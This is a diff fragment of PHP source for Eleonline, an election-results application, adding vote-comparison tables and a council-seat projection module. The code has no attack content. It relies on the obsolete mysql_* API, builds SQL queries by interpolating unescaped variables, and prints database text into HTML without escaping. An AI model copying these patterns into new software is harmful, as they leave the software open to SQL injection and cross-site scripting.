+		if($grp1)echo "<td bgcolor=\"$bgcolor1\"><b>$grp1</b></td>";
+		if($grp2)echo "<td bgcolor=\"$bgcolor1\"><b>$grp2</b></td>";
+		echo "<td bgcolor=\"$bgcolor1\"><b>"._ALTROGRP."</b></td>";
+		echo "</tr>";
+			$z=1;
+			while(list($id_lista,$descr,$gruppo) = mysql_fetch_row($res_lis)) {
+				$_SESSION['num_lista'.$z]=$id_lista;
+				echo "<tr><td>$gruppo</td><td>$descr</td>";
+				if($grp1)echo "<td><input type=\"radio\" name=\"num_lista$z\" value=\"grp1\"/></td>";
+				if($grp2)echo "<td><input type=\"radio\" name=\"num_lista$z\" value=\"grp2\"/></td>";
+				echo "<td><input type=\"radio\" name=\"num_lista$z\" value=\"grp3\" checked=\"checked\"/></td>";
+				
+				echo "</tr>";
+				$z++;		
+			}
+			echo "<tr><td colspan=\"5\"><input type=\"hidden\" name=\"pag\" value=\"$pag\"/><input type=\"hidden\" name=\"pags\" value=\"$pags\"/>";
+			echo "<input type=\"submit\" name=\"invia\" value=\""._OK."\"/></td></tr></table></form>";
+		}
+	return(0);
+}
+
+// stampa a video i risultati
+function outgraf($ar1,$ar2,$ar3){
+global $pags,$id_comune,$prefix,$dbi,$grp1,$grp2,$grp3;
+
+$riga1="<table border=\"1\"><tr class=\"bggray\"><td></td>";
+$riga5="<tr align=\"center\"><td>"._VOTANTI."</td>";
+foreach($_SESSION['confr'] as $y=>$x){
+	$res= mysql_query("SELECT sum(maschi+femmine) from ".$prefix."_ele_sezioni where id_cons='$x'",$dbi);
+	list($elet)=mysql_fetch_row($res);
+	$res= mysql_query("SELECT sum(voti) from ".$prefix."_ele_voti_lista where id_cons='$x'",$dbi);
+	list($tot[$y])=mysql_fetch_row($res);
+	$res = mysql_query("SELECT t1.descrizione FROM ".$prefix."_ele_consultazione as t1, ".$prefix."_ele_cons_comune as t2 where t1.id_cons_gen=t2.id_cons_gen and t2.id_comune='$id_comune' and t2.id_cons='$x'", $dbi);
+	list($descr)=mysql_fetch_row($res);
+	$riga1.="<td>$descr</td>";
+	$riga5.="<td>".$tot[$y]."<br/>".number_format($tot[$y]*100/$elet)."%</td>";
+	// dati per grafico
+	$descriz[$y]=$descr;
+	$perctot[$y]=number_format($tot[$y]*100/$elet);
+
+	}
+$riga1.="</tr>";
+if($grp1)$riga2="<tr align=\"center\"><td>$grp1</td>";
+if($grp2)$riga3="<tr align=\"center\"><td>$grp2</td>";
+if($grp3)$riga4="<tr align=\"center\"><td>"._ALTROGRP."</td>"; else $riga4='';
+#for ($x=1;$x<=$pags;$x++){
+foreach($_SESSION['confr'] as $x=>$y){
+	$perc1=number_format(($ar1[$x]*100/$tot[$x]),2);
+	$perc2=number_format(($ar2[$x]*100/$tot[$x]),2);
+	$perc3=number_format(($ar3[$x]*100/$tot[$x]),2);
+	$perc4=number_format(($ar1[$x]*100/$tot[$x]),3);
+	$perc5=number_format(($ar2[$x]*100/$tot[$x]),3);
+	$perc6=number_format(($ar3[$x]*100/$tot[$x]),3);
+	if (($perc1+$perc2+$perc3)>(100.00)){
+		if((($perc4*1000)%10)<(($perc5*1000) % 10)) $max=1; else $max=2;
+		if ($max==1) if((($perc4*1000)%10)>(($perc6*1000)%10)) $max=3;
+		elseif((($perc5*1000)%10)>(($perc6*1000)%10)) $max=3; 
+		if($max==1)$perc1-=0.01;
+		elseif($max==2)$perc2-=0.01;
+		else $perc3-=0.01;
+	}elseif (($perc4+$perc5+$perc6)<(100.00))
+		{
+		if((($perc4*1000)%10)>(($perc5*1000) % 10)) $max=1; else $max=2;
+		if ($max==1) if((($perc4*1000)%10)<(($perc6*1000)%10)) $max=3;
+		elseif((($perc5*1000)%10)<(($perc6*1000)%10)) $max=3; 
+		if($max==1)$perc1+=0.01;
+		elseif($max==2)$perc2+=0.01;
+		else $perc3+=0.01;
+		}
+	if($grp1)$riga2.= "<td>".$ar1[$x]."<br/>$perc1%</td>";
+	if($grp2)$riga3.= "<td>".$ar2[$x]."<br/>$perc2%</td>";
+	if($grp3)$riga4.= "<td>".$ar3[$x]."<br/>$perc3%</td>";
+	// per grafici
+	$percg1[$x]=$perc1;
+	$percg2[$x]=$perc2;
+	$percg3[$x]=$perc3;
+}
+if($grp1)$riga2.="</tr>";if($grp2)$riga3.="</tr>";if($grp3)$riga4.="</tr>";$riga5.="</tr></table>";
+echo $riga1.$riga2.$riga3.$riga4.$riga5;
+
+/* dati da inviare in array al grafico
+$descrizione: consultazione
+$grp1 e grp2: nome dei gruppi
+$ar1 fino a 3 : numero voti gruppi e altri
+percg1 fino a 3 : percentuali gruppi e altri
+$tot : totale voti
+$perctot : percentuale totale voti
+$altro="Altro";
+
+echo "<br/>";
+foreach($_SESSION['confr'] as $x=>$y){
+echo "$descriz[$x]<br/>";
+echo "$grp1 : $ar1[$x] - $percg1[$x]%<br/>";
+echo "$grp2 : $ar2[$x] - $percg2[$x]%<br/>";
+echo "Altri : $ar3[$x] - $percg3[$x]%<br/>";
+echo "Totali: $tot[$x] - $perctot[$x]%<hr>";
+
+
+}
+*/
+// preparazione per grafico
+foreach($ar1 as $val) $ars1[]=$val;
+foreach($ar2 as $val) $ars2[]=$val;
+foreach($ar3 as $val) $ars3[]=$val;
+foreach($percg1 as $val) $per1[]=$val;
+foreach($percg2 as $val) $per2[]=$val;
+foreach($percg3 as $val) $per3[]=$val;
+foreach($descriz as $val) $desc[]=$val;
+
+// includere nel linguaggio
+define("_TITOLOVOTI","Raffronti per voto");
+define("_TITOLOPERC","Raffronti percentuali");
+define("_ALTRO","Altri");
+
+if(!$grp1 && !$grp2)$altro=""._ALL."";
+else $altro=""._ALTRO."";
+
+$titolovoti=urlencode(_TITOLOVOTI);
+$titoloperc=urlencode(_TITOLOPERC);
+$altro=urlencode($altro);
+$desc=serialize($desc);
+//$desc=urlencode($desc);
+
+
+$grp1=urlencode($grp1);
+$grp2=urlencode($grp2);
+$grp3=urlencode($grp3);
+$altro=urlencode($altro);
+// voti
+$ars1=serialize($ars1);
+$ars1=urlencode($ars1);
+$ars2=serialize($ars2);
+$ars2=urlencode($ars2);
+$ars3=serialize($ars3);
+$ars3=urlencode($ars3);
+// percentuali
+$per1=serialize($per1);
+$per1=urlencode($per1);
+$per2=serialize($per2);
+$per2=urlencode($per2);
+$per3=serialize($per3);
+$per3=urlencode($per3);
+
+
+	echo "<table><tr><td>
+		<img src='modules/Elezioni/grafici/raffrontivoto.php?altro=$altro&amp;desc=$desc&amp;grp1=$grp1&amp;grp2=$grp2&amp;grp3=$grp3&amp;ar1=$ars1&amp;ar2=$ars2&amp;ar3=$ars3&amp;tot=$tot&amp;titvoti=$titolovoti'  alt=\"Grafico\" /></td></tr></table>";
+
+	echo "<table><tr><td>
+		<img src='modules/Elezioni/grafici/raffrontiperc.php?altro=$altro&amp;desc=$desc&amp;grp1=$grp1&amp;grp2=$grp2&amp;grp3=$grp3&amp;percg1=$per1&amp;percg2=$per2&amp;percg3=$per3&amp;perctot=$perctot&amp;titperc=$titoloperc'  alt=\"Grafico\" /></td></tr></table>";
+
+
+}
+
+$zz=0;
+if (!$pags) sceglicons();
+elseif($pag<=$pags) {$zz=scegliliste();	
+}
+
+if($zz !=0) {
+	for ($x=1;$x<$pags;$x++){
+		$ar1[$x]=0;
+		$ar2[$x]=0;
+		$ar3[$x]=0;
+		foreach ($_SESSION['grp1'][$x] as $key=>$val){
+			$res= mysql_query("SELECT sum(voti) from ".$prefix."_ele_voti_lista where id_lista='$val'",$dbi);
+			list($voti)=mysql_fetch_row($res);
+			$ar1[$x]+=$voti;
+		}
+		foreach ($_SESSION['grp2'][$x] as $key=>$val){
+			$res= mysql_query("SELECT sum(voti) from ".$prefix."_ele_voti_lista where id_lista='$val'",$dbi);
+			list($voti)=mysql_fetch_row($res);
+			$ar2[$x]+=$voti;
+		}
+		foreach ($_SESSION['grp3'][$x] as $key=>$val){
+			$res= mysql_query("SELECT sum(voti) from ".$prefix."_ele_voti_lista where id_lista='$val'",$dbi);
+			list($voti)=mysql_fetch_row($res);
+			$ar3[$x]+=$voti;
+		}
+	}
+	outgraf($ar1,$ar2,$ar3);
+
+}
+
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/consiglieri.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/consiglieri.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/consiglieri.php	(revision 44)
@@ -0,0 +1,742 @@
+<?php
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Roberto Gigli & Luciano Apolito                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+/* Modulo previsione seggi                                                       */
+/* Amministrazione                                                     */
+/************************************************************************/
+if (!defined('MODULE_FILE')) {
+    die ("You can't access this file directly...");
+}
+# controllo 
+if ($hondt<=0){ Header("Location: index.php");
+	die();
+}
+
+$param=strtolower($_SERVER['REQUEST_METHOD']) == 'get' ? $_GET : $_POST;
+
+if (isset($param['gruppo'])) $gruppo=intval($param['gruppo']); else $gruppo='';
+if (isset($param['numgruppo'])) $numgruppo=intval($param['numgruppo']); else $numgruppo='';
+if (isset($param['listecol'])) $listecol=intval($param['listecol']); else $listecol=0;
+
+
+$res = mysql_query("SELECT id_conf FROM ".$prefix."_ele_cons_comune where id_cons_gen='$id_cons_gen' and id_comune='$id_comune'" , $dbi);
+list($id_conf) = mysql_fetch_row($res);
+//test prima di modificare il db aggiungendo id_conf
+//echo "$id_conf=2";
+//
+
+$res = mysql_query("SELECT limite,consin,infpremio,supsbarramento,suppremio,listinfsbar,listinfconta,listsupconta,supminpremio,infminpremio from ".$prefix."_ele_conf where id_conf='$id_conf'",$dbi);
+list($limite,$consin,$infpremio,$supsbarramento,$suppremio,$listinfsbar,$listinfconta,$listsupconta,$supminpremio,$infminpremio) = mysql_fetch_row($res);
+
+
+echo "<table><tr><td align=\"center\">"._PROIEZCONS."</td></tr></table>";
+
+
+function consiglio(){
+global $param,$id_cons_gen, $dbi, $prefix, $id_comune, $gruppo, $numgruppo, $listecol, $id_comune, $limite;
+//$limite=3; //fascia di separazione del maggioritario (15.000 abitanti)
+$collegate= array();
+$collperd= array();
+$x=1;
+$primoturno=0;
+while (isset($param['num_lista'.$x])) {
+	if ($param['num_lista'.$x]==$gruppo) array_push($collegate,$_SESSION['num_lista'.$x]);
+	elseif ($param['num_lista'.$x]!=0) array_push($collperd,$_SESSION['num_lista'.$x]);
+	$x++;
+}
+$res = mysql_query("SELECT t1.tipo_cons,t2.id_cons FROM ".$prefix."_ele_consultazione as t1, ".$prefix."_ele_cons_comune as t2 where t1.id_cons_gen=t2.id_cons_gen and t2.id_cons_gen='$id_cons_gen' and t2.id_comune='$id_comune'" , $dbi);
+if (mysql_num_rows($res)){
+	list($tipo_cons,$id_cons) = mysql_fetch_row($res);
+	$result = mysql_query("select fascia, capoluogo from ".$prefix."_ele_comuni where id_comune='$id_comune'", $dbi);
+	list($fascia,$capoluogo) = mysql_fetch_row($result);
+/*switch ($fascia) {
+        case 1: $numcons=12; break;
+        case 2: $numcons=16; break;
+        case 3: $numcons=20; break;
+        case 4: $numcons=20; break;
+        case 5: $numcons=30; break;
+        case 6: $numcons=40; break;
+        case 7: $numcons=46; break;
+        case 8: $numcons=50; break;
+        case 9: $numcons=60; break;
+} */
+		$result = mysql_query("SELECT seggi from ".$prefix."_ele_fasce where id_fascia=$fascia",$dbi);
+		list($numcons) = mysql_fetch_row($result);
+
+$res_val= mysql_query("SELECT id_cand, sum(voti) from ".$prefix."_ele_voti_candidati where id_cons='$id_cons' group by id_cand",$dbi);
+$num_cons= mysql_num_rows($res_val);
+if ($num_cons<$numcons){
+	echo "Il numero di candidati al consiglio inseriti con preferenza ($num_cons) e' inferiore al numero di seggi previsti ($numcons). Non e' possibile procedere con il calcolo";
+	include("footer.php");
+	die();
+}
+	if (!$gruppo){
+		$res_val = mysql_query("SELECT sum(validi) from ".$prefix."_ele_sezioni where id_cons='$id_cons'",$dbi);
+		list($validi) = mysql_fetch_row($res_val);
+		$res_lis = mysql_query("SELECT t1.num_gruppo,sum(t2.voti) as voti from ".$prefix."_ele_gruppo as t1,  ".$prefix."_ele_voti_gruppo as t2 where t1.id_cons='$id_cons' and t1.id_gruppo=t2.id_gruppo group by t1.num_gruppo order by voti desc limit 0,2",$dbi);
+		$test=0;$flag=0;
+		while (list($num_gruppo,$voti)= mysql_fetch_row($res_lis)){
+			if ($voti>($validi/2)) {$gruppo=$num_gruppo;$primoturno=1;}
+			if ($voti==$test) $flag=1; else $test=$voti;
+		}
+	}
+	if ($fascia<=$limite){
+		$res_lis = mysql_query("SELECT t1.num_gruppo,sum(t2.voti) as voti from ".$prefix."_ele_gruppo as t1,  ".$prefix."_ele_voti_gruppo as t2 where t1.id_cons='$id_cons' and t1.id_gruppo=t2.id_gruppo group by t1.num_gruppo order by voti desc limit 0,2",$dbi);
+		list($num_gruppo1,$voti1)= mysql_fetch_row($res_lis);
+		list($num_gruppo2,$voti2)= mysql_fetch_row($res_lis);
+		if ($voti1>$voti2)
+			$numgruppo=$num_gruppo1;
+	}
+	if($fascia<6 and $capoluogo) $fascia=6;
+	if ($fascia<=$limite and $numgruppo) consmin($fascia,$numgruppo);
+	elseif ($gruppo>0) conssup($fascia,$gruppo,$collegate,$collperd,$primoturno);
+	elseif ($numgruppo>0){
+		$res_lis = mysql_query("SELECT t1.id_lista,t1.num_lista,t1.descrizione,t1.id_gruppo from ".$prefix."_ele_lista as t1, ".$prefix."_ele_gruppo as t2 where t1.id_cons='$id_cons' and t1.id_gruppo=t2.id_gruppo and t2.num_gruppo not in (".$_SESSION['ballo1'].",".$_SESSION['ballo2'].")",$dbi);
+		$yy=mysql_num_rows($res_lis);
+			$res_voti = mysql_query("select sum(voti) from ".$prefix."_ele_voti_lista where id_cons='$id_cons'",$dbi);
+			list($validilista) = mysql_fetch_row($res_voti);
+		if ($yy){
+while(list($id_lista,$num_lista,$descr,$pgrup) = mysql_fetch_row($res_lis)) {
+			$res_voti = mysql_query("select sum(voti) from ".$prefix."_ele_voti_lista where id_lista='$id_lista'",$dbi);
+			list($votilista) = mysql_fetch_row($res_voti);
+			if(!isset($voti[$pgrup])) $voti[$pgrup]=0;
+			$voti[$pgrup]+=$votilista;
+}
+			foreach ($voti as $key=>$val){if($val<($validilista*3/100)) unset($voti[$key]);} ##################################################
+			mysql_data_seek($res_lis,0);
+			echo "<br/>";
+			echo "<form id=\"gruppo\" action=\"modules.php\">";
+			echo "<table cellspacing=\"0\" cellpadding=\"2\" border=\"1\"><tr class=\"bggray\"><td colspan=\"4\">"._COLLEGAMENTI."</td></tr><tr class=\"bggray\"><td>";
+			echo "<input type=\"hidden\" name=\"op\" value=\"consiglieri\"/>";
+			echo "<input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\"/>";
+			echo "<input type=\"hidden\" name=\"id_comune\" value=\"$id_comune\"/></td>";
+
+echo "<td><b>".$_SESSION['grp1']."</b></td>";
+			echo "<td><b>".$_SESSION['grp2']."</b></td>";
+			echo "<td><b>"._NONCOLLE."</b></td></tr>";
+			
+			$z=1;
+			while(list($id_lista,$num_lista,$descr,$pgrup) = mysql_fetch_row($res_lis)) {
+				if(!isset($voti[$pgrup])) continue;
+ 				$x=$_SESSION['ballo1'];
+				echo "<tr><td>$descr</td><td><input type=\"radio\" name=\"num_lista$z\" value=\"$x\"/></td>";
+				$x=$_SESSION['ballo2'];
+				$_SESSION['num_lista'.$z]=$num_lista;
+				echo "<td><input type=\"radio\" name=\"num_lista$z\" value=\"$x\"/></td>";
+				echo "<td><input type=\"radio\" name=\"num_lista$z\" value=\"0\" checked=\"checked\"/></td></tr>";
+				$z++;		
+			}
+
+			echo "<tr><td colspan=\"4\"><input type=\"hidden\" name=\"listecol\" value=\"$x\"/><input type=\"hidden\" name=\"gruppo\" value=\"$numgruppo\"/>";
+			echo "<input type=\"submit\" name=\"invia\" value=\""._OK."\"/></td></tr></table></form>";
+		}else conssup($fascia,$numgruppo,$collegate,$collperd,$primoturno);
+	}else {
+		echo "<br/>";
+		echo "<form id=\"numgruppo\" action=\"modules.php\">";
+		echo "<table><tr class=\"bggray\"><td>"._SCELTASIN.":</td><td align=\"left\">";
+		echo "<input type=\"hidden\" name=\"op\" value=\"consiglieri\"/>";
+		echo "<input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\"/>";
+		echo "<input type=\"hidden\" name=\"id_comune\" value=\"$id_comune\"/>";
+		$res = mysql_query("SELECT t1.id_gruppo,t1.num_gruppo,t1.descrizione, sum(t2.voti) as pref FROM ".$prefix."_ele_gruppo as t1, ".$prefix."_ele_voti_gruppo as t2 where t1.id_gruppo=t2.id_gruppo and t1.id_cons='$id_cons' group by t1.num_gruppo,t1.descrizione order by pref desc limit 0,2", $dbi);
+		while(list($id_gruppo,$num_gruppo, $descr_gruppo,$pref) = mysql_fetch_row($res)) {
+			if (!isset($_SESSION['ballo1'])) {
+				$_SESSION['ballo1']=$num_gruppo;
+				$_SESSION['grp1']=$descr_gruppo;
+				$_SESSION['idgrp1']=$id_gruppo;
+			}else{
+				$_SESSION['ballo2']=$num_gruppo;
+				$_SESSION['grp2']=$descr_gruppo;
+				$_SESSION['idgrp2']=$id_gruppo;
+			}
+			echo "<input type=\"radio\" name=\"numgruppo\" value=\"$num_gruppo\"/>$descr_gruppo<br/>";
+		}
+		echo "</td>";
+		echo "<td><input type=\"submit\" name=\"invia\" value=\""._OK."\"/></td></tr></table></form>";
+	
+		}
+	}
+}
+
+function consmin($fascia,$grp) {
+global $id_cons, $prefix,$dbi,$num_candlst,$quozienti,$PNE,$CSEC,$consin;
+global $infpremio;
+$PNE=_PRIMONON;
+$CSEC=_SINDCONS;
+$sorteggio=0;
+$num_candlst=array();
+#funzione di calcolo per comuni fino a 15.000 abitanti (piï¿œ esattamente fino al valore di $limite)
+#carica il numero di consiglieri per la minoranza
+		$result = mysql_query("SELECT seggi from ".$prefix."_ele_fasce where id_fascia=$fascia",$dbi);
+		list($numcons) = mysql_fetch_row($result);
+
+$consel=array();
+$conselcsne=array();
+$conselmin=array();
+//$consel[]=array("Lista","Voti","Seggi","Nominativo","Cifra Elettorale","Quoziente");
+$consel[]=array(_LISTA,_VOTI,_SEGGI,_CANDIDATO,_CIFRAELE,_QUOZIENTI);
+#carica numero di liste e voti, i voti sono quelli del gruppo perche' non c'e' voto di lista
+$res_val = mysql_query("SELECT sum(validi) from ".$prefix."_ele_sezioni where id_cons='$id_cons'",$dbi);
+list($validi) = mysql_fetch_row($res_val);
+$res_per = mysql_query("SELECT t1.descrizione,t1.num_gruppo,t2.id_lista,t2.num_lista,t2.descrizione,sum(t3.voti) as voti from ".$prefix."_ele_gruppo as t1,  ".$prefix."_ele_lista as t2, ".$prefix."_ele_voti_gruppo as t3 where t1.id_cons='$id_cons' and t1.id_gruppo=t2.id_gruppo and t1.id_gruppo=t3.id_gruppo group by t1.descrizione,t1.num_gruppo,t2.num_lista,t2.descrizione order by voti desc ",$dbi);
+$groups=array();
+$seggimag=array();
+$premio=0;
+$x=0;
+#carica l'array dei gruppi e della cifra di gruppo
+while (list($descr,$num_gruppo,$id_lista,$num_lista,$descr_lista,$voti)= mysql_fetch_row($res_per)){
+    $desgruppi[$num_gruppo]=$descr;
+    $desliste[$num_lista]=$num_lista.") ".$descr_lista;
+    $idlst[$num_lista]=$id_lista;
+    $listagruppo[$num_lista]=$num_gruppo;
+    $lists[$num_lista]=$voti;
+    if ($grp){
+		if ($grp!=$num_gruppo) {$groups[($num_gruppo)]=$voti;$listemin[$num_lista]=$voti;}
+		else {$gruppo[($num_gruppo)]=$voti;$listemag[$num_lista]=$voti;$lisvin=$num_lista;}
+    }else{
+    	if ($x) {$groups[($num_gruppo)]=$voti;$listemin[$num_lista]=$voti;}
+    	else {$gruppo[($num_gruppo)]=$voti;$listemag[$num_lista]=$voti;$lisvin=$num_lista;}
+    }
+    $x++;
+    }#controllo del premio di maggioranza
+//    if ($gruppo[$listagruppo[$lisvin]]>($validi*2/3)) 
+    if ($gruppo[$listagruppo[$lisvin]]>($validi*$infpremio/100)) 
+    {
+    	foreach ($groups as $key=>$val) $gruppo[$key]=$val;
+    	$groups=$gruppo; 
+    	$gruppo=array();
+    	$num_cons=$numcons;
+    } else {   
+//    	$seggimag[$lisvin]=number_format($numcons*2/3);
+//    	$num_cons=number_format($numcons/3);
+    	$seggimag[$lisvin]=number_format($numcons*$infpremio/100);
+    	$num_cons=number_format($numcons-$seggimag[$lisvin]);
+    }
+    foreach ($listagruppo as $lista=>$val){
+    $id_lista=$idlst[$lista];
+    $res_can = mysql_query("SELECT concat(substring(concat('0',t1.num_cand),-2),') ',t1.cognome,' ',substring(t1.nome from 1 for 1),'.') as descr,sum(t2.voti) as voti from ".$prefix."_ele_candidati as t1, ".$prefix."_ele_voti_candidati as t2 where t1.id_lista='$id_lista' and t1.id_cand=t2.id_cand GROUP BY descr order by voti desc,t1.num_cand",$dbi);
+    
+    $num_candlst[$lista]=mysql_num_rows($res_can);
+    $pos=0;
+    while(list($cand,$pre)=mysql_fetch_row($res_can)){
+    	if(!isset($lists[$lista])) $lists[$lista]=0;
+    	$cifra[$lista][$pos]=$lists[$lista]+$pre;
+    	$arvin[$lista][$pos++]=$cand;
+    }	    
+    }
+    if ($num_candlst[$lisvin]<$seggimag[$lisvin]) {
+    	$num_cons+=$seggimag[$lisvin]-$num_candlst[$lisvin];
+    	$seggimag[$lisvin]=$num_candlst[$lisvin];
+    }
+    if (isset($gruppo[$listagruppo[$lisvin]])) $seggimag=calcoloseggi($listemag,$seggimag[$lisvin],1);
+   if(isset($mex)) 
+    echo "$mex";
+	foreach ($seggimag as $lista=>$val)
+      	for ($z=0;$z<$val;$z++){
+				if ($z) $consel[]=array("","","",$arvin[$lista][($z)],$cifra[$lista][($z)],number_format($quozienti[$lista][$z],2));
+				else $consel[]=array($desliste[$lista],$lists[$lista],$val,$arvin[$lista][($z)],$cifra[$lista][($z)],number_format($quozienti[$lista][$z],2));
+    		}
+    		if($arvin[$lista][($z)]) $consel[]=array($desliste[$lista],"$PNE","",$arvin[$lista][($z)],$cifra[$lista][($z)],number_format($quozienti[$lista][$z],2));
+    $seggimin=array();
+    $seggimin=calcoloseggi($listemin,$num_cons,1);
+    foreach ($seggimin as $lista=>$val){
+    	if ($consin and $val>0){
+    		$conselcsne[]=array("$CSEC","","",$desgruppi[$listagruppo[$lista]],"","");
+    		$val--;
+    	}
+      for ($z=0;$z<$val;$z++){
+        	if ($z) $conselmin[]=array("","","",$arvin[$lista][($z)],$cifra[$lista][($z)],number_format($quozienti[$lista][$z],2));
+        	else $conselmin[]=array($desliste[$lista],$lists[$lista],$val,$arvin[$lista][($z)],$cifra[$lista][($z)],number_format($quozienti[$lista][$z],2));
+		}
+		if($arvin[$lista][($z)]) $conselmin[]=array($desliste[$lista],"$PNE","",$arvin[$lista][($z)],$cifra[$lista][($z)],number_format($quozienti[$lista][$z],2));
+    }
+	foreach($conselcsne as $key=>$val) 
+	{
+		$consel[]=array($val[0],$val[3]);
+	}
+	foreach($conselmin as $key=>$val) 
+	{
+		$consel[]=array($val[0],$val[1],$val[2],$val[3],$val[4],$val[5]);
+	}
+        
+    
+    
+    echo "<table summary=\"Tabella dei consiglieri eletti\" class=\"table-docs\" cellspacing=\"0\" cellpadding=\"2\" border=\"1\" rules=\"all\">";
+    echo "<tr class=\"bggray\"><td scope=\"row\">";
+    echo _SINDACO.": ".$desgruppi[$listagruppo[$lisvin]]."</td></tr></table>";
+    stampalista($consel);
+
+
+}
+
+
+
+function calcoloseggi($gruppi,$num_cons,$flag){
+global $ultimo,$mex,$sorteggio,$quozienti,$num_cand,$num_candlst;
+
+#carica le preferenze
+$pref = array();
+$ultimo=0;
+$mex='';
+$sorteggio=0;
+$eletti = array();
+$ele = array();
+$quozienti = array();
+$num_quoz= $num_cons;
+#inizializza l'array degli eletti
+foreach ($gruppi as $x=>$val){
+ $eletti[$x]=0;
+ }
+#carica gli array dei quozienti
+foreach($gruppi as $y=>$tmp){
+	if($flag) $num_quoz= $num_cons<$num_candlst[$y] ? $num_cons:$num_candlst[$y];
+	if(!isset($ele[$y][0])) $ele[$y][0]=0;
+	for ($x=0;$x<=$num_quoz;$x++){
+		$ele[$y][$x]= $tmp/($x+1);
+		$quozienti[$y][$x]= $tmp/($x+1);
+	}
+}
+#estrae i quozienti piu' alti
+for ($y=0;$y<$num_cons;$y++){
+ $temp=0;
+ $cand=0;
+ if(! isset($pref['0'])) $pref['0']='';
+ if(! isset($pref['1'])) $pref['1']='';
+ foreach($gruppi as $x=>$tmp){
+	if(!isset($ele[$x][0])) $ele[$x][0]=0;
+	if(!isset($pref[$x])) $pref[$x]=0;
+   if ($ele[$x][0]==$temp and $pref[$x]==$pref[$cand] and ($y+1)==$num_cons) {$sorteggio=1; $mex="Per attribuire l'ultimo seggio ï¿œ necessario un sorteggio tra la lista n. ".($x+1)." e la lista n. ".($cand+1);}
+  if ($ele[$x][0]>$temp or ($ele[$x][0]==$temp and $pref[$x]>$pref[$cand])) {
+   $temp=$ele[$x][0];
+   $cand=$x;
+   $sorteggio=0;$mex='';
+  }
+ }
+ if (!$sorteggio){
+ 	$eletti[$cand]++;
+ 	$ultimo=$cand;
+ 	array_shift($ele[$cand]);
+ }
+}
+return ($eletti);
+}
+
+function stampalista($ar) {
+global $PNE,$CSEC;
+$cmin=_SEGGIMIN;	
+$csin="";	
+	$bg='bgw';
+	
+	$tmpbg='bggray2'; 
+	$tmpbg1='bgw';
+	$tmpbg2='bggray';
+	$tmpbg3='bggray2';
+   $fmin=2;
+	echo "<table summary=\"Tabella dei consiglieri eletti\" class=\"table-docs\" cellspacing=\"0\" cellpadding=\"2\" border=\"1\" rules=\"all\">";
+		$y=1;$i='';$e=0;
+		foreach ($ar as $riga) {
+			$e++;
+			if($riga[0]==$CSEC and $fmin==2)
+			{
+			{	$fmin=1;		
+				echo "</table>";
+				echo "<table summary=\"Tabella dei candidati sindaco eletti consigliere\" class=\"table-docs\" cellspacing=\"0\" cellpadding=\"2\" border=\"1\" rules=\"all\">";
+				echo "<tr class=\"bggray\"><td scope=\"row\" colspan=\"3\"><b>";
+				echo $csin;
+				echo "</b></td></tr>";	
+				echo "<tr class=\"bggray\"><td scope=\"row\"><b>"._CANDIDATO."</b></td><td scope=\"row\"><b>"._NOMINATIVO."</b></td></tr>";
+			}
+			}
+			if($riga[0]!=$CSEC and $fmin==1)
+			{	$fmin=0;		
+				echo "</table>";
+				echo "<table summary=\"Tabella dei consiglieri di minoranza\" class=\"table-docs\" cellspacing=\"0\" cellpadding=\"2\" border=\"1\" rules=\"all\">";
+				echo "<tr class=\"bggray\"><td scope=\"row\" colspan=\"6\"><b>";
+				echo $cmin;
+				echo "</b></td></tr>";	
+				echo "<tr class=\"bggray\"><td scope=\"row\"><b>"._LISTA."</b></td><td scope=\"row\"><b>"._VOTI."</b></td><td scope=\"row\"><b>"._SEGGI."</b></td><td scope=\"row\"><b>"._NOMINATIVO."</b></td><td scope=\"row\"><b>"._CIFRAELE."</b></td><td scope=\"row\"><b>"._QUOZIENTI."</b></td></tr>";
+			}
+			if($riga[1]==$PNE) echo "<tr class=\"red\">";
+			else{
+				$bg= ($riga[1]) ? $tmpbg3:$tmpbg1;
+				if($y) {
+					echo "<tr class=\"bggray\">";
+				}else{
+					echo "<tr class=\"$bg\">";
+				}
+			}
+			foreach ($riga as $cella) {
+			 if ($e==1){ 
+				$t="<th scope=\"colgroup\"";$f="</th>";
+			}else{ 
+				$t="<td scope=\"row\"";$f="</td>";	
+			}					
+				echo "$t $i align=\"left\">$cella $f";
+					$i='';
+				
+			}
+			if ($y) $y=0;
+			echo "</tr>";
+		}
+		echo "</table>";
+
+}
+
+function conssup($fascia,$gruppo,$collegate,$collperd,$primoturno) {
+global $id_cons, $id_cons_gen, $id_comune, $prefix,$dbi;
+global $groups,$lists,$eletti,$ultimo,$quozienti,$num_candlst,$mex,$PNE,$CSEC,$consin;
+global $supsbarramento, $supminpremio, $suppremio;
+global $listsupconta;
+#funzione di calcolo per comuni oltre 15.000 abitanti
+#carica il numero di consiglieri da eleggere$groups=array();
+$PNE=_PRIMONON;
+$CSEC=_SINDCONS;
+$lists=array();
+$eletti=array();
+$num_candlst=array();
+#$quozienti = array();
+$oldlists=array();
+$oldlstgrp=array();
+$premio=0;
+/* "Ai fini della determinazione nel secondo turno, della cifra elettorale complessiva delle liste collegate deve tenersi conto anche del collegamento intervenuto in vista del ballottaggio" (Cons. St. Sez. V 4 maggio 2001 n. 2519; 20 settembre 2000 n. 4894; 19 marzo 1996 n. 290)   
+
+
+
+
+switch ($fascia) {
+	case 1: $numcons=12; break; 
+	case 2: $numcons=16; break; 
+	case 3: $numcons=20; break; 
+	case 4: $numcons=20; break; 
+	case 5: $numcons=30; break; 
+	case 6: $numcons=40; break; 
+	case 7: $numcons=46; break; 
+	case 8: $numcons=50; break; 
+	case 9: $numcons=60; break; 
+} */
+		$result = mysql_query("SELECT seggi from ".$prefix."_ele_fasce where id_fascia=$fascia",$dbi);
+		list($numcons) = mysql_fetch_row($result);
+
+#verificare come gestire la situazione in cui il candidato sindaco supera lo sbarramento e il totale delle liste no.
+if (!isset($_SESSION['ballo1'])) $_SESSION['ballo1']='';
+if (!isset($_SESSION['ballo2'])) $_SESSION['ballo2']='';
+$gruppoperd= ($gruppo==$_SESSION['ballo1']) ? $_SESSION['ballo2'] : $_SESSION['ballo1'];
+
